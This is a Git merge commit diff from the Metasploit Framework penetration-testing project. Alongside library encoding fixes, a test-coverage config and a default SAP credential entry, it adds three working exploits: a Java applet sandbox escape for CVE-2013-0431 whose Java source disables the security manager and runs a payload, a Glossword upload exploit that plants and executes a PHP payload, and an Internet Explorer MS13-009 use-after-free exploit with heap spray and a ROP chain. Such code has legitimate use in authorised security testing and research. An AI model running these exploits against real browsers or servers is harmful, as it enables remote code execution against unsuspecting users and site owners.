Merge branch 'rapid7' into dmaloney-r7-feature/http/authv2

bug/bundler_fix
James Lee 2013-02-25 14:15:22 -06:00
commit e41922853e
23 changed files with 1108 additions and 87 deletions

58
.simplecov Normal file
View File

@ -0,0 +1,58 @@
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
# controlled by running with coverage, so don't explicitly start coverage (and
# therefore generate a report) when in Rubymine. This _will_ generate a report
# whenever `rake spec` is run.
unless ENV['RM_INFO']
SimpleCov.start
end
SimpleCov.configure do
# ignore this file
add_filter '.simplecov'
#
# Changed Files in Git Group
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
#
untracked = `git ls-files --exclude-standard --others`
unstaged = `git diff --name-only`
staged = `git diff --name-only --cached`
all = untracked + unstaged + staged
changed_filenames = all.split("\n")
add_group 'Changed' do |source_file|
changed_filenames.detect { |changed_filename|
source_file.filename.end_with?(changed_filename)
}
end
#
# Framework (msf) related groups
#
add_group 'Metasploit Framework', 'lib/msf'
add_group 'Metasploit Framework (Base)', 'lib/msf/base'
add_group 'Metasploit Framework (Core)', 'lib/msf/core'
#
# Other library groups
#
add_group 'Fastlib', 'lib/fastlib'
add_group 'Metasm', 'lib/metasm'
add_group 'PacketFu', 'lib/packetfu'
add_group 'Rex', 'lib/rex'
add_group 'RKelly', 'lib/rkelly'
add_group 'Ruby Mysql', 'lib/rbmysql'
add_group 'Ruby Postgres', 'lib/postgres'
add_group 'SNMP', 'lib/snmp'
add_group 'Zip', 'lib/zip'
#
# Specs are reported on to ensure that all examples are being run and all
# lets, befores, afters, etc are being used.
#
add_group 'Specs', 'spec'
end

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -6,6 +6,7 @@ SAPCPIC ADMIN
EARLYWATCH SUPPORT
TMSADM PASSWORD
TMSADM ADMIN
TMSADM $1Pawd2&
ADMIN welcome
ADSUSER ch4ngeme
ADS_AGENT ch4ngeme

19
external/source/exploits/cve-2013-0431/B.java vendored Executable file
View File

@ -0,0 +1,19 @@
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class B
implements PrivilegedExceptionAction
{
public B()
{
try
{
AccessController.doPrivileged(this); } catch (Exception e) {
}
}
public Object run() {
System.setSecurityManager(null);
return new Object();
}
}

View File

@ -0,0 +1,93 @@
/*
* From Paunch with love (Java 1.7.0_11 Exploit)
*
* Deobfuscated from Cool EK by SecurityObscurity
*
* https://twitter.com/SecObscurity
*/
import java.applet.Applet;
import com.sun.jmx.mbeanserver.Introspector;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles.Lookup;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import javax.management.ReflectionException;
import java.io.*;
import metasploit.Payload;
public class Exploit extends Applet
{
public void init()
{
try
{
int length;
byte[] buffer = new byte[5000];
ByteArrayOutputStream os = new ByteArrayOutputStream();
// read in the class file from the jar
InputStream is = getClass().getResourceAsStream("B.class");
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
os.write( buffer, 0, length );
// convert it to a simple byte array
buffer = os.toByteArray();
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
Method method = getMethod(class1, "enter", true);
Object obj = method.invoke(null, new Object[0]);
Method method1 = getMethod(class1, "createClassLoader", false);
Object obj1 = method1.invoke(obj, new Object[1]);
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
Method method2 = getMethod(class2, "defineClass", false);
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
my_class.newInstance();
Payload.main(null);
}
catch (Throwable localThrowable){}
}
private Method getMethod(Class class1, String s, boolean flag)
{
try {
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
Method[] amethod1 = amethod;
for (int i = 0; i < amethod1.length; i++) {
Method method = amethod1[i];
String s1 = method.getName();
Class[] aclass = method.getParameterTypes();
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
}
} catch (Exception localException) { }
return null;
}
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
{
Object obj = null;
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
}
}

View File

@ -0,0 +1,22 @@
# rt.jar must be in the classpath!
CLASSES = \
Exploit.java \
B.java \
Serializer.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
all: $(CLASSES:.java=.class)
install:
java Serializer
mv Exploit.class ../../../../data/exploits/cve-2013-0431/
mv B.class ../../../../data/exploits/cve-2013-0431/
mv Exploit.ser ../../../../data/exploits/cve-2013-0431/
clean:
rm -rf *.class
rm -rf *.ser

View File

@ -0,0 +1,20 @@
import java.io.*;
public class Serializer {
public static void main(String [ ] args)
{
try {
Exploit b=new Exploit(); // target Applet instance
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
oos.writeObject(b);
FileOutputStream fos=new FileOutputStream("Exploit.ser");
fos.write(baos.toByteArray());
fos.close();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}

View File

@ -497,6 +497,14 @@ class DBManager
m.targets.each_index do |i|
bits << [ :target, { :index => i, :name => m.targets[i].name.to_s } ]
if m.targets[i].platform
m.targets[i].platform.platforms.each do |name|
bits << [ :platform, { :name => name.to_s.split('::').last.downcase } ]
end
end
if m.targets[i].arch
bits << [ :arch, { :name => m.targets[i].arch.to_s } ]
end
end
if (m.default_target)
@ -525,7 +533,7 @@ class DBManager
res[:stance] = m.passive? ? "passive" : "aggressive"
end
res[:bits] = bits
res[:bits] = bits.uniq
res
end

View File

@ -89,7 +89,7 @@ class Core
"kill" => "Kill a job",
"load" => "Load a framework plugin",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off of the module stack and makes it active",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"quit" => "Exit the console",

View File

@ -4,14 +4,15 @@ require 'digest/sha1'
require 'stringio'
require 'cgi'
begin
old_verbose = $VERBOSE
$VERBOSE = nil
require 'iconv'
require 'zlib'
rescue ::LoadError
ensure
$VERBOSE = old_verbose
%W{ iconv zlib }.each do |libname|
begin
old_verbose = $VERBOSE
$VERBOSE = nil
require libname
rescue ::LoadError
ensure
$VERBOSE = old_verbose
end
end
module Rex
@ -157,6 +158,12 @@ module Text
# Converts ISO-8859-1 to UTF-8
#
def self.to_utf8(str)
if str.respond_to?(:encode)
# Skip over any bytes that fail to convert to UTF-8
return str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' })
end
begin
Iconv.iconv("utf-8","iso-8859-1", str).join(" ")
rescue

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module RKelly
module Visitors
class EvaluationVisitor < Visitor

View File

@ -1,6 +1,11 @@
# encoding: ASCII-8BIT
require 'delegate'
require 'iconv'
begin
require 'iconv'
rescue ::LoadError
end
require 'singleton'
require 'tempfile'
require 'fileutils'
@ -140,15 +145,13 @@ module Zip
def open_entry
@currentEntry = ZipEntry.read_local_entry(@archiveIO)
if (@currentEntry == nil)
@decompressor = NullDecompressor.instance
@decompressor = NullDecompressor.instance
elsif @currentEntry.compression_method == ZipEntry::STORED
@decompressor = PassThruDecompressor.new(@archiveIO,
@currentEntry.size)
@decompressor = PassThruDecompressor.new(@archiveIO, @currentEntry.size)
elsif @currentEntry.compression_method == ZipEntry::DEFLATED
@decompressor = Inflater.new(@archiveIO)
@decompressor = Inflater.new(@archiveIO)
else
raise ZipCompressionMethodError,
"Unsupported compression method #{@currentEntry.compression_method}"
raise ZipCompressionMethodError, "Unsupported compression method #{@currentEntry.compression_method}"
end
flush
return @currentEntry
@ -184,8 +187,8 @@ module Zip
def sysread(numberOfBytes = nil, buf = nil)
readEverything = (numberOfBytes == nil)
while (readEverything || @outputBuffer.length < numberOfBytes)
break if internal_input_finished?
@outputBuffer << internal_produce_input(buf)
break if internal_input_finished?
@outputBuffer << internal_produce_input(buf)
end
return value_when_finished if @outputBuffer.length==0 && input_finished?
endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes
@ -194,9 +197,9 @@ module Zip
def produce_input
if (@outputBuffer.empty?)
return internal_produce_input
return internal_produce_input
else
return @outputBuffer.slice!(0...(@outputBuffer.length))
return @outputBuffer.slice!(0...(@outputBuffer.length))
end
end
@ -244,14 +247,14 @@ module Zip
# TODO: Specialize to handle different behaviour in ruby > 1.7.0 ?
def sysread(numberOfBytes = nil, buf = nil)
if input_finished?
hasReturnedEmptyStringVal=@hasReturnedEmptyString
@hasReturnedEmptyString=true
return "" unless hasReturnedEmptyStringVal
return nil
hasReturnedEmptyStringVal=@hasReturnedEmptyString
@hasReturnedEmptyString=true
return "" unless hasReturnedEmptyStringVal
return nil
end
if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead)
numberOfBytes = @charsToRead-@readSoFar
numberOfBytes = @charsToRead-@readSoFar
end
@readSoFar += numberOfBytes
@inputStream.read(numberOfBytes, buf)
@ -356,14 +359,28 @@ module Zip
(@gp_flags & 0b100000000000) != 0 ? "utf8" : "CP437//"
end
# Returns the name in the encoding specified by enc
def name_in(enc)
Iconv.conv(enc, name_encoding, @name)
# Converts string encoding
def encode_string(str, src, dst)
if str.respond_to?(:encode)
str.encode(dst, { :invalid => :replace, :undef => :replace, :replace => '' })
else
begin
Iconv.conv(dst, src, str)
rescue
raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)"
end
end
end
# Returns the name in the encoding specified by enc
def name_in(enc)
encode_string(@name, name_encoding, enc)
end
# Returns the comment in the encoding specified by enc
def comment_in(enc)
Iconv.conv(enc, name_encoding, @name)
encode_string(@comment, name_encoding, enc)
end
def initialize(zipfile = "", name = "", comment = "", extra = "",
@ -372,7 +389,7 @@ module Zip
time = Time.now)
super()
if name.starts_with("/")
raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /"
raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /"
end
@localHeaderOffset = 0
@local_header_size = 0
@ -484,9 +501,9 @@ module Zip
onExistsProc ||= proc { false }
if directory?
create_directory(destPath, &onExistsProc)
create_directory(destPath, &onExistsProc)
elsif file?
write_file(destPath, &onExistsProc)
write_file(destPath, &onExistsProc)
elsif symlink?
create_symlink(destPath, &onExistsProc)
else
@ -520,24 +537,24 @@ module Zip
@localHeaderOffset = io.tell
staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH)
unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH)
raise ZipError, "Premature end of file. Not enough data for zip entry local header"
raise ZipError, "Premature end of file. Not enough data for zip entry local header"
end
@header_signature ,
@version ,
@fstype ,
@gp_flags ,
@compression_method,
lastModTime ,
lastModDate ,
@crc ,
@compressed_size ,
@size ,
nameLength ,
extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv')
@version ,
@fstype ,
@gp_flags ,
@compression_method,
lastModTime ,
lastModDate ,
@crc ,
@compressed_size ,
@size ,
nameLength ,
extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv')
unless (@header_signature == LOCAL_ENTRY_SIGNATURE)
raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
end
set_time(lastModDate, lastModTime)
@ -546,7 +563,7 @@ module Zip
extra = io.read(extraLength)
if (extra && extra.length != extraLength)
raise ZipError, "Truncated local zip entry header"
raise ZipError, "Truncated local zip entry header"
else
if ZipExtraField === @extra
@extra.merge(extra)
@ -569,17 +586,17 @@ module Zip
@localHeaderOffset = io.tell
io <<
[LOCAL_ENTRY_SIGNATURE ,
VERSION_NEEDED_TO_EXTRACT , # version needed to extract
0 , # @gp_flags ,
@compression_method ,
@time.to_binary_dos_time , # @lastModTime ,
@time.to_binary_dos_date , # @lastModDate ,
@crc ,
@compressed_size ,
@size ,
@name ? @name.length : 0,
@extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv')
[LOCAL_ENTRY_SIGNATURE ,
VERSION_NEEDED_TO_EXTRACT , # version needed to extract
0 , # @gp_flags ,
@compression_method ,
@time.to_binary_dos_time , # @lastModTime ,
@time.to_binary_dos_date , # @lastModDate ,
@crc ,
@compressed_size ,
@size ,
@name ? @name.length : 0,
@extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv')
io << @name
io << (@extra ? @extra.to_local_bin : "")
end
@ -590,33 +607,33 @@ module Zip
def read_c_dir_entry(io) #:nodoc:all
staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH)
unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH)
raise ZipError, "Premature end of file. Not enough data for zip cdir entry header"
raise ZipError, "Premature end of file. Not enough data for zip cdir entry header"
end
@header_signature ,
@version , # version of encoding software
@fstype , # filesystem type
@versionNeededToExtract,
@gp_flags ,
@compression_method ,
lastModTime ,
lastModDate ,
@crc ,
@compressed_size ,
@size ,
nameLength ,
extraLength ,
commentLength ,
diskNumberStart ,
@internalFileAttributes,
@externalFileAttributes,
@localHeaderOffset ,
@name ,
@extra ,
@comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV')
@version , # version of encoding software
@fstype , # filesystem type
@versionNeededToExtract,
@gp_flags ,
@compression_method ,
lastModTime ,
lastModDate ,
@crc ,
@compressed_size ,
@size ,
nameLength ,
extraLength ,
commentLength ,
diskNumberStart ,
@internalFileAttributes,
@externalFileAttributes,
@localHeaderOffset ,
@name ,
@extra ,
@comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV')
unless (@header_signature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE)
raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
end
set_time(lastModDate, lastModTime)
@ -628,7 +645,7 @@ module Zip
end
@comment = io.read(commentLength)
unless (@comment && @comment.length == commentLength)
raise ZipError, "Truncated cdir zip entry header"
raise ZipError, "Truncated cdir zip entry header"
end
case @fstype

View File

@ -0,0 +1,143 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet JMX Remote Code Execution',
'Description' => %q{
This module abuses the JMX classes from a Java Applet to run arbitrary Java code
outside of the sandbox as exploited in the wild in February of 2013. Additionally,
this module bypasses default security settings introduced in Java 7 Update 10 to run
unsigned applet without displaying any warning to the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'Adam Gowdiak', # Vulnerability discovery
'SecurityObscurity', # Exploit analysis and deobfuscation
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0431' ],
[ 'OSVDB', '89613' ],
[ 'BID', '57726' ],
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],
[ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],
[ 'URL', 'http://pastebin.com/QWU1rqjf' ],
[ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 19 2013'
))
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
print_status("Sending JAR")
send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } )
when /\/$/
print_status("Sending HTML")
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_jar
paths = [
[ "Exploit.ser" ],
[ "Exploit.class" ],
[ "B.class" ]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
return jar.pack
end
def generate_html
html = <<-EOF
<html>
<script language="Javascript">
var _app = navigator.appName;
if (_app == 'Microsoft Internet Explorer') {
document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>');
} else {
document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>');
}
</script>
</html>
EOF
return html
end
end

View File

@ -0,0 +1,192 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability in Glossword
versions 1.8.8 to 1.8.12 when run as a standalone application.
This application has an upload feature that allows an authenticated user
with administrator roles to upload arbitrary files to the 'gw_temp/a/'
directory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AkaStep', # Discovery
'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
],
'References' =>
[
[ 'EDB', '24456' ],
[ 'OSVDB' '89960' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
'Privileged' => true,
'DisclosureDate' => "Feb 05 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
], self.class)
end
def check
base = target_uri.path
peer = "#{rhost}:#{rport}"
user = datastore['USERNAME']
pass = datastore['PASSWORD']
# login
print_status("#{peer} - Authenticating as user '#{user}'")
begin
res = login(base, user, pass)
if res
if res.code == 200
print_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Unknown
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
print_good("#{peer} - Authenticated successfully")
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("#{@fname}")
else
client.shell_command_token("rm #{@fname}")
end
end
def upload(base, sid, fname, file)
user = datastore['USERNAME']
pass = datastore['PASSWORD']
data = Rex::MIME::Message.new
data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
data.add_part("edit-own", nil, nil, 'form-data; name="a"')
data.add_part("users", nil, nil, 'form-data; name="t"')
data.add_part("Save", nil, nil, 'form-data; name="post"')
data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')
data_post = data.to_s
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'gw_admin.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
})
return res
end
def login(base, user, pass)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'gw_login.php'),
'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
})
return res
end
def exploit
base = target_uri.path
@peer = "#{rhost}:#{rport}"
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
# login; get session id and token
print_status("#{@peer} - Authenticating as user '#{user}'")
res = login(base, user, pass)
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
token = "#{$1}"
sid = "#{$2}"
print_good("#{@peer} - Authenticated successfully")
else
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
end
# upload PHP payload
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, sid, @fname, php)
if res and res.code == 301 and res['location'] =~ /Setting saved/
print_good("#{@peer} - File uploaded successfully")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
# retrieve PHP file path
print_status("#{@peer} - Locating PHP payload file")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
'cookie' => "sid#{token}=#{sid}"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
shell_uri = "#{$1}"
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
print_good("#{@peer} - Found payload file path (#{shell_uri})")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
end
# retrieve and execute PHP payload
print_status("#{@peer} - Executing payload (#{shell_uri})")
begin
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, shell_uri),
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
if !res or res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
end
end
end

View File

@ -0,0 +1,205 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
where a CParaElement node is released but a reference is still kept
in CDoc. This memory is reused when a CDoc relayout is performed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0025' ],
[ 'MSB', 'MS13-009' ],
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 920,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 13 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_nops = [0x77c39f92].pack("V") * 11 # RETN
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
rop_payload << rop_nops
rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
rop_payload << [0x77c39f92].pack("V") # RETN
rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
rop_payload << code
end
return rop_payload
end
def get_exploit(my_target, cli)
p = get_payload(my_target, cli)
js = heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}
</script>
<script>
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = get_exploit(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status "Sending HTML..."
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end

View File

@ -0,0 +1,241 @@
require 'rex/proto/http/client'
# Note: Some of these tests require a failed
# connection to 127.0.0.1:1. If you have some crazy local
# firewall that is dropping packets to this, your tests
# might be slow. I wonder how Travis-CI will react to this...
describe Rex::Proto::Http::Client do
class << self
# Set a standard excuse that indicates that the method
# under test needs to be first examined to figure out
# what's sane and what's not.
def excuse_lazy(test_method=nil)
ret = "need to determine pass/fail criteria"
test_method ? ret << " for #{test_method.inspect}" : ret
end
# Complain about not having a "real" connection (can be mocked)
def excuse_needs_connection
"need to actually set up an HTTP server to test"
end
# Complain about not having a real auth server (can be mocked)
def excuse_needs_auth
"need to set up an HTTP authentication challenger"
end
end
before(:all) do
@ip = "1.2.3.4"
@cli = Rex::Proto::Http::Client.new(@ip)
end
it "should respond to intialize" do
@cli.should be
end
it "should have a set of default instance variables" do
@cli.instance_variable_get(:@hostname).should == @ip
@cli.instance_variable_get(:@port).should == 80
@cli.instance_variable_get(:@context).should == {}
@cli.instance_variable_get(:@ssl).should be_false
@cli.instance_variable_get(:@proxies).should be_nil
# @cli.instance_variable_get(:@username).should be_empty
# @cli.instance_variable_get(:@password).should be_empty
@cli.config.should be_a_kind_of Hash
@cli.config_types.should be_a_kind_of Hash
end
it "should produce a raw HTTP request", :pending => "Waiting for PR #1500" do
